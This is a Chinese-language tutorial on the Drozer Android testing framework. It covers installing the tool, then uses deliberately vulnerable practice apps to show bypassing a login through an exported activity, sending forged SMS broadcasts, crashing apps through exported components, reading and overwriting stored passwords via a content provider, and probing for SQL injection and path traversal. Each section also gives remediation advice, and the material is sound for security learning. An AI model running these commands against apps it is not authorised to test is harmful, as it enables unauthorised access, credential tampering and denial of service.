Android安全测试工具-Drozer

Drozer简介

drozer是一款针对Android系统的安全测试框架,它能够通过自身实现的协议,与Android虚拟机进行交互扫描应用各种漏洞。

特点

  • 更快的Android安全评估: drozer可以大大缩减Android安全评估的耗时,通过攻击测试暴露Android APP的漏洞。
  • 支持真机模拟器:drozer运行在Android模拟器和真实设备上。
  • 自动化和扩展: drozer有很多扩展模块,可以发现更多Android安全问题。

基本架构

从本质上来看,Drozer是一C/S架构的程序。安装在PC端的Drozer处理用户的各种操作,并将这些操作按照一定的格式进行封装,发送到手机端。手机端的Agent收到请求后,对请求进行解包,然后执行请求,并将结果返回到Drozer端。

安装配置

环境要求

  • jdk1.6以上
  • python2.7
  • Android SDK环境

安装步骤

安装drozer

  1. 下载地址:https://labs.mwrinfosecurity.com/tools/drozer/ 下载对应的系统版本即可,
  2. 安装时Python依赖路径选择,如果安装了python3需要切换到Python2路径

安装依赖库

  1. 安装VCForPython27.msi,由于Twisted对此文件有依赖,所以需要安装。

  2. 安装protobuf pyOpenSSL Twisted service_identity 需要使用Python2pip安装。

1
2
C:\Python27\Scripts
pip2 install protobuf pyOpenSSL Twisted service_identity
  1. 如果安装上述的包出现超时报错,如下所示,可以切换到国内源如中科大源。
1
ReadTimeoutError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Read timed out.
  1. 替换源之后的命令如下:

    1
    pip2 install protobuf pyOpenSSL Twisted service_identity -i  https://pypi.mirrors.ustc.edu.cn/simple/
  2. 打开cmd进入Python2的目录,输入命令drozer看到如下命令说明安装成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Python27
λ drozer
usage: drozer [COMMAND]

Run `drozer [COMMAND] --help` for more usage information.

Commands:
console start the drozer Console #启动drozer控制台
module manage drozer modules #管理drozer模块
server start a drozer Server #启动drozer服务器
ssl manage drozer SSL key material #管理drozer SSL密钥材料
exploit generate an exploit to deploy drozer #生成漏洞以部署drozer
agent create custom drozer Agents #创建自定义drozer代理
payload generate payloads to deploy drozer #生成有效载荷来部署drozer

设备安装agent

  • 下载安装agent:下载地址
  • 到手机打开启agent,如下图右下角按钮显示为开启状态(如果显示为关闭,在其上点击将其切换为开启即可)

image

  • 点击底部 Embedded Server 然后点击顶部开关Disabled 使其变为 Enabled

image

连接设备

打开cmd命令窗口,依次执行如下命令

  • 设置端口转发
    1
    2
    adb forward tcp:31415 tcp:31415

  • 连接设备
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    λ drozer console connect
    Selecting 51f681da4fb98aad (vivo vivo X21A 8.1.0)

    .. ..:.
    ..o.. .r..
    ..a.. . ....... . ..nd
    ro..idsnemesisand..pr
    .otectorandroidsneme.
    .,sisandprotectorandroids+.
    ..nemesisandprotectorandroidsn:.
    .emesisandprotectorandroidsnemes..
    ..isandp,..,rotectorandro,..,idsnem.
    .isisandp..rotectorandroid..snemisis.
    ,andprotectorandroidsnemisisandprotec.
    .torandroidsnemesisandprotectorandroid.
    .snemisisandprotectorandroidsnemesisan:
    .dprotectorandroidsnemesisandprotector.

    drozer Console (v2.4.4)
    dz>
    看到如上显示,说明启动成功,下一步则可以进行测试。如果想提出drozer命令模式,则输入指令exit即可退出。

安全测试

APP攻击面分析

分析Android四大组件是否能被其他的的应用程序调用。

1
2
3
4
5
6
7
8
dz> run app.package.attacksurface com.xxx.xxxx
Attack Surface:
5 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported
is debuggable
dz>

结果显示了潜在可以利用的组件个数: exported表示组件可以被其他App使用。 is debuggable表示我们可以用adb绑定一个调试器到进程。

Activity组件暴露

Activity简介

应用程序中,一个Activity通常就是一个单独的界面,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。
Activity之间通过Intent进行通信。在Intent 的描述结构中,有两个最重要的部分:actionaction对应的数据。

Activity组件暴露概述

风险描述

Activity组件的属性exported被设置为true或是未设置exported值但Intent-filter不为空时,activity被认为是导出的,可通过设置相应的Intent唤起activity

查看下反编译出的AndroidManifest.xml文件,可看到将activityexported设置为true。说明存在被导出的风险。

1
2
3
4
<activity android:exported="true" android:label="@string/view_checkin" android:name=".activities.ViewCheckin"/>
<activity android:label="@string/my_friends" android:name=".fragments.MyFriends"/>
<activity android:label="@string/search_for_friends"android:name=".fragments.SearchForFriends"/>
<activity android:exported="true" android:label="@string/profile" android:name=".activities.ViewProfile"/>

危害描述

黑客可能构造恶意数据针对导出activity组件实施越权攻击。

修复建议

如果组件不需要与其他app共享数据或交互,请将AndroidManifest.xml 配置文件中设置该组件为exported = “False”。如果组件需要与其他app共享数据或交互, 请对组件进行权限控制和参数校验。

案例演示

我们测试的应用为 InsecureBankv2,供安全爱好者和开发人员通过测试此易受攻击的应用程序来学习Android不安全性。它的后端服务器组件是用python编写的。它与Python2兼容。

注意:电脑上安装了杀毒软件,会将该apk视为病毒,忽略就好。

下载地址: Android-InsecureBankv2 选择最新版本安装下载即可。

查看对外的activity组件信息

使用命令:run app.activity.info -a xxx可以查看对外的activity组件信息。

1
2
3
4
5
6
7
8
9
10
11
12
dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.LoginActivity
Permission: null
com.android.insecurebankv2.PostLogin
Permission: null
com.android.insecurebankv2.DoTransfer
Permission: null
com.android.insecurebankv2.ViewStatement
Permission: null
com.android.insecurebankv2.ChangePassword
Permission: null
越权漏洞检测

我们可以通过命令run app.activity.start 调用activity组件,命令具体用法如下:

1
2
dz#> run app.activity.start --component 包名  Activity名
dz#> run app.activity.start --component com.xxxx.sample com.xxx.xxxxx.WXEntryActivity

针对测试包,我们绕过登录界面导致可直接访问,说明存在越权漏洞。命令如下:

1
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

登录之前的界面如下:

insecurebankv2_login

执行命令之后,直接进入到登录之后页面,界面如下:

insecurebankv2_login_result

BroadcastReceiver组件暴露

Broadcast简介

BroadcastReceiver消息组件,应用可以使用它对外部事件进行过滤,只对特定的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。消息组件没有用户界面。然而,它们可以启动一个activityserice 来响应它们收到的信息,或者用NotificationManager 来通知用户。

通知可以用很多种方式来吸引用户的注意力──闪动呼吸灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

BroadcastReceiver漏洞概况

风险描述

BroadcastReceiver组件的属性exported被设置为true或是未设置exported值但intent-filter不为空时,BroadcastReceiver被认为是导出的。

危害描述

导出的消息组件可以导致数据泄漏或者是越权。

修复建议

如果组件不需要与其他app共享数据或交互,请将AndroidManifest.xml 配置文件中设置该组件为exported = “False”。如果组件需要与其他app共享数据或交互, 请对组件进行权限控制和参数校验。

案例演示

测试应用

拒绝服务攻击检测测试包 FourGoatsOWASP的项目,集成了一堆漏洞的APK,代码未经过混淆与加密,可以反编译后看到比较清晰的逻辑,分析漏洞成因。虽然是许多年前的项目,很多漏洞也早已消失,但对于入门的新手来说还是有一定的价值的。

Apk下载地址:FourGoats.apk

获取Broadcast信息
  1. 查看Broadcast具体信息,找到广播的类名,以及注册的Intent的动作。

    1
    2
    3
    4
    5
    6
    7
    dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats -i
    Package: org.owasp.goatdroid.fourgoats
    org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
    Intent Filter:
    Actions:
    - org.owasp.goatdroid.fourgoats.SOCIAL_SMS
    Permission: null
  2. 查看反编译的AndroidManifest.xml文件,可看到将receiverexported设置未进行设置。说明存在越权问题,可发送恶意广播,伪造消息等等。

1
2
3
4
5
<receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>
</intent-filter> ;
</receiver>
  1. 反编译apk文件,然后查看broadcast的源代码,从中可以看到短信发送需要的关键字:phoneNumbermessage
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.owasp.goatdroid.fourgoats.broadcastreceivers;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Utils;

public class SendSMSNowReceiver extends BroadcastReceiver {
Context context;

public void onReceive(Context paramContext, Intent paramIntent) {
this.context = paramContext;
SmsManager smsManager = SmsManager.getDefault();
Bundle bundle = paramIntent.getExtras();
smsManager.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
Utils.makeToast(this.context, "Your text message has been sent!", 1);
}
}

经过以上三步我们获取到的信息有:

  • action动作名称为:org.owasp.goatdroid.fourgoats.SOCIAL_SMS
  • component组件名称为: org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
  • intent意图传递的参数为:phoneNumbermessage
执行broadcast攻击
  1. 根据上面掌握的信息,就可以构造短信发送的广播,在drozer中使用如下命令:
1
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 10010 --extra string message hacked!
  1. 上面命令表示向手机号为10010的用户发送短信,内容为:hacked!,同时在App界面可以看到Toast提示:Your text message has been send!

drozer_broadcast_send

  1. 尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行。
1
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

drozer_broadcast_crash

Service组件

service简介

Service 是一段长生命周期的没有用户界面的程序,可以用来开发如监控类程序。 比如一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中有多个activity,让使用者可以选择歌曲并播放歌曲。然而音乐续播这个功能并没有对应的activity,因为用户当然会认为在切换到其它界面时音乐应该还在后台播放的。

在这个例子中,媒体播放器这个activity会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以使用service提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、切换等操作。

Service组件暴露

风险描述

Service组件的属性exported被设置为true或是未设置exported值但Intent-Filter不为空时,Service被认为是导出的,可通过设置相应的Intent唤起Service

危害描述

黑客可能构造恶意数据针对导出Service组件实施越权攻击。

修复建议

如果组件不需要与其他app共享数据或交互,请将AndroidManifest.xml 配置文件中设置该组件为exported = “False”。如果组件需要与其他app共享数据或交互, 请对组件进行权限控制和参数校验。

AndroidManifest检测

我们使用之前的测试应用FourGoats.apk, 查看反编译的AndroidManifest.xml文件,可以看出: intent-filter不为空且未将exported设置为false,所以services默认是导出的,org.owasp.fourgoats.goatdroid.LocationService服务被导出,不需要任何权限。

这意味着恶意应用程序可以通过FourGoats应用程序访问设备的位置。

1
2
3
4
5
<service android:name=".services.LocationService">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.services.LocationService"/>
</intent-filter>
</service>

同样使用run app.service.info -a [pkg]可以查看对外暴露的service组件。

1
2
3
4
dz> run app.service.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.services.LocationService
Permission: null

案例演示

调用服务组件进行拒绝服务攻击

使用命令 run app.service.start --action 服务名 --component 包名 服务名 我们可以对被导出的服务org.owasp.goatdroid.fourgoats.services.LocationService执行攻击。

1
dz> run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

执行完成之后,可以看到App直接崩溃。Android应用使用Intent机制在组件之间传递数据,如果应用在使用getIntent(),getAction(),Intent.getXXXExtra()获取到空数据、异常或者畸形数据时没有进行异常捕获,应用就会发生Crash,应用不可使用(本地拒绝服务)。恶意应用可通过向受害者应用发送此类空数据、异常或者畸形数据从而使应用产生本地拒绝服务。

当应用被恶意应用攻击时,本地拒绝服务一般会导致正在运行的应用崩溃,首先影响用户体验,其次影响到后台的Crash统计数据,另外比较严重的后果是应用如果是系统级的软件,可能导致手机重启。

drozer_broadcast_crash

ContentProvider组件

ContentProvider简介

Android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中或存在一个SQLite数据库。

其他应用可以通过ContentResolver类从ContentProvider中获取或存入数据, 只有需要在多个应用程序间共享数据是才需要ContentResolver

例如:通讯录数据被多个应用程序使用,必须存储在一个ContentResolver中它的好处就是统一数据访问方式。

ContentProvider组件暴露

风险描述

Content Provider组件的属性exported被设置为true或是Android API<=16时,Content Provider被认为是导出的。

危害描述

黑客可能访问到应用本身不想共享的数据或文件。

修复建议

如果组件不需要与其他app共享数据或交互,请将AndroidManifest.xml 配置文件中设置该组件为exported = “False”。如果组件需要与其他app共享数据或交互, 请对组件进行权限控 制和参数校验。

案例演示

测试背景

这里我们使用drozer官方提供的测试应用sieve进行测试,这是一个密码管理工具,是官方用于展示常见安卓应用漏洞的应用。

下载地址:sieve.apk

获取Content Provider与URI
  1. 首先获取Content Provider信息,命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
  1. 从上面扫描可以看到有2Content Provider
  • com.mwr.example.sieve.DBContentProvider
  • com.mwr.example.sieve.FileBackupProvider

第一个是数据库相关,第二个是文件备份数据相关。

  1. 获取URI(统一资源标识符)列表,命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
  1. 根据上面的扫描结果,存在Accessible content URIs说明存在注入风险。
执行攻击
  1. 打开sieve应用,输入password(至少16位)和pin

sieve_password

sieve_pin.PNG

  1. 我们获取URI数据如下所示,即可查到我们输入的passwordpin的具体值。
1
2
3
dz> run app.provider.query  content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 1234567891234567 | 1234 |
  1. 因为Password更改时有长度限制,至少16位,看起来似乎是比较安全的,可这只是表面上的。

我们可以使用命令直接修改password数据,运行:

1
2
dz> run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection pin=1234  --string Password 12345
Done.
  1. 再次查询时发现密码已经被更改了,并且也不会限制密码的长度为至少16位了。
1
2
3
dz> run app.provider.query  content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 12345 | 1234 |

检查是否有sql注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录甚至篡改数据库等非法操作。

可以使用如下命令扫描查询是否存在SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

检查是否存在遍历文件的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider

Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

同样content可能导致SQL注入问题,使用以下语句进行测试发现报错,说明存在SQL注入漏洞。

1
2
3
4
5
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

参考资料